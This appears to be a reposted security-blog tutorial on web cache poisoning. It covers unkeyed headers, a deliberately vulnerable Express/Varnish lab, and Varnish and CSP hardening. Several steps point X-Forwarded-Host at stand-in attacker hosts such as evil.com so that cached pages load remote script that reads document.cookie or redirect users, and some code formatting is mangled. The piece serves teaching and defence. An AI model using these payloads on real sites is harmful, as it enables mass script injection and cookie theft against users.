The Cache Poisoner’s Playbook: How to Turn a Single Request into a Full-Scale System Takeover

Listen to this Post

Featured Image

Introduction:

Web cache poisoning is an advanced attack vector that exploits the inherent trust between a client, a caching server, and the origin application. By manipulating cached responses, an attacker can serve malicious content to unsuspecting users, leading to widespread cross-site scripting (XSS), defacement, or even credential theft. This technique elevates a one-time exploit into a persistent threat affecting countless users.

Learning Objectives:

  • Understand the mechanics of HTTP caching and how unkeyed inputs can be exploited.
  • Learn to identify cache poisoning opportunities in HTTP request headers.
  • Develop a practical methodology for weaponizing poisoned caches to deliver JavaScript payloads.

You Should Know:

  1. Deconstructing the HTTP Cache: The Foundation of the Attack

The core of web cache poisoning lies in understanding how caching servers, like Varnish, Nginx, or CDNs, decide what to store. They use a “cache key,” typically a combination of the request method, host, and path. Any part of the request not included in this key is an “unkeyed” input and is a potential attack vector. If the application uses an unkeyed header to generate the response and that response is cached, we can poison it.

To test if a resource is cached, you can use the `curl` command to inspect the `Age` and `Cache-Control` headers.

Step-by-Step Guide:

  1. Identify a cacheable resource, like a CSS file or a static page: `curl -I http://target.com/assets/main.css`
  2. Look for headers indicating caching: `Cache-Control: public, max-age=3600` or X-Cache: HIT.
  3. Send a test request with a unique header and note the response: `curl -H “X-Forwarded-Host: yourdomain.com” http://target.com/`
  4. Quickly re-send the request without the header. If the response reflects your `yourdomain.com` value, the cache has been poisoned.

2. Identifying Unkeyed Headers: Your Arsenal of Weapons

Modern web applications use various headers for functionality, many of which are not part of the default cache key. These are your primary tools for poisoning.

Common Unkeyed Headers:

`X-Forwarded-Host`: Overrides the Host header.

X-Forwarded-Scheme: Tells the application if the request was over HTTP or HTTPS.

`X-Original-URL` / `X-Rewrite-URL`: Used for URL rewriting.

User-Agent: Can sometimes be used to generate platform-specific content.

Step-by-Step Guide:

  1. Intercept a request to a cacheable page using Burp Suite.
  2. For each potential unkeyed header, add it to the request with a unique value (e.g., X-Forwarded-Host: poison-test.com).
  3. Observe the response. If your unique value appears in the response body, headers, or redirect location without being part of the cache key, you have found a potential vector.
  4. Re-send the request without the malicious header. If the poisoned response is still served, the vulnerability is confirmed.

3. Weaponizing with XSS: From Poison to Exploit

Finding an unkeyed header is only the first step. The critical next phase is to make the poisoned response execute malicious JavaScript.

Step-by-Step Guide:

  1. Locate a reflected XSS vulnerability on the target site. For example, suppose the search endpoint reflects user input: https://target.com/search?q=<script>alert(1)</script>.
  2. Instead of poisoning the query parameter (which is likely keyed), use an unkeyed header. If the `X-Forwarded-Host` header is unkeyed and reflected in a script tag, you can point it to a malicious server.

3. Craft a payload: `X-Forwarded-Host: your-evil-server.com`.

  1. Ensure `your-evil-server.com` hosts a JavaScript file with your payload (e.g., `/poison.js` containing alert(document.cookie)).
  2. Poison the cache by sending a request that causes the target page to load <script src="https://your-evil-server.com/poison.js"></script>. Every subsequent user who requests that page will execute your script.

4. Exploiting Route Contamination and DOM-Based Vulnerabilities

Sometimes, the impact is not in the body but in the application’s logic. Poisoning can alter redirects or client-side routing.

Step-by-Step Guide:

  1. Identify a redirect, for example, from http://target.com/login` tohttps://target.com/login`.
  2. Use the `X-Forwarded-Scheme: http` header to trick the application into thinking it’s already on a secure connection, potentially causing a redirect to a different, attacker-controlled page specified by another header.
  3. Chain this with X-Forwarded-Host: evil.com. The poisoned response might redirect all users to `http://evil.com`, effectively hijacking traffic from the application’s login page.

5. Practical Cache Poisoning Lab: A Hands-On Example

Let’s set up a vulnerable lab using a Dockerized Varnish cache in front of a simple Node.js/Express app.

Application Code (app.js):

const express = require('express');
const app = express();
app.get('/', (req, res) => {
const host = req.header('X-Forwarded-Host') || req.get('host');
res.send(<code><html><head><script src="//${host}/assets/script.js"></script></head><body>Welcome</body></html></code>);
});
app.listen(3000);

Step-by-Step Exploitation:

1. Start your lab environment.

  1. The normal page loads `script.js` from the application’s host.
  2. Send a poisoned request: `curl -H “X-Forwarded-Host: evil.com” http://target-host/`
  3. Varnish, seeing the request to `/` as a cache miss, forwards it to the app. The app generates a page that loads `//evil.com/assets/script.js` and sends it back. Varnish caches this poisoned response.
  4. Any normal user now visiting http://target-host/` will receive the poisoned page and execute JavaScript fromevil.com`.

6. Defensive Posture: Hardening Your Cache Configuration

Mitigation is a shared responsibility between developers and system administrators.

For System Admins (Varnish Example):

Modify your VCL (Varnish Configuration Language) to normalize and restrict headers used in the cache key, effectively removing unkeyed inputs.

sub vcl_recv {
 Remove all incoming X-Forwarded-Host headers to prevent poisoning
unset req.http.X-Forwarded-Host;
 Standardize the cache key to only safe elements
return (hash);
}

For Developers:

Never use user-controllable data from headers to generate responses, especially script imports, redirects, or any DOM content.
Implement a strict allowlist of domains for any resource loading.
Use Content Security Policy (CSP) headers as a final layer of defense to mitigate the impact of a successful XSS attack.

What Undercode Say:

  • The true danger of cache poisoning is its scalability; a single, successful attack can propagate a malicious payload to an entire user base without further interaction from the attacker.
  • This technique blurs the line between a client-side and a server-side vulnerability, as it leverages server-side infrastructure (the cache) to amplify a client-side exploit, making traditional perimeter defenses less effective.
    Analysis: The original post’s emphasis on a “good exploit scenario” is perfectly embodied by web cache poisoning. It’s not just about finding a bug; it’s about finding a bug in a context that allows for maximum impact and persistence. This requires a deep understanding of the entire web stack, from the application logic down to the network infrastructure. Attackers are no longer just targeting the application but the ecosystem of trusted components that support it. Defenders must therefore shift their focus from securing only the application code to securing the entire data flow, including intermediary caches and CDN configurations.

Prediction:

The evolution of web cache poisoning will move towards automation and AI-assisted discovery. Bug bounty hunters and malicious actors will employ fuzzing tools that automatically test for a wider range of unkeyed inputs across complex API-driven and single-page applications. Furthermore, as applications increasingly rely on multi-layered caching architectures (e.g., client-side, CDN, origin shield, application-level), we will see novel attacks that chain poisoning across different layers. The next frontier will be “cache deception,” where attackers manipulate the cache to store sensitive, user-specific responses under a public key, leading to mass data leakage. Proactive defense will require dynamic cache analysis and behavior-based anomaly detection integrated directly into the DevOps pipeline.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Qatada You – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky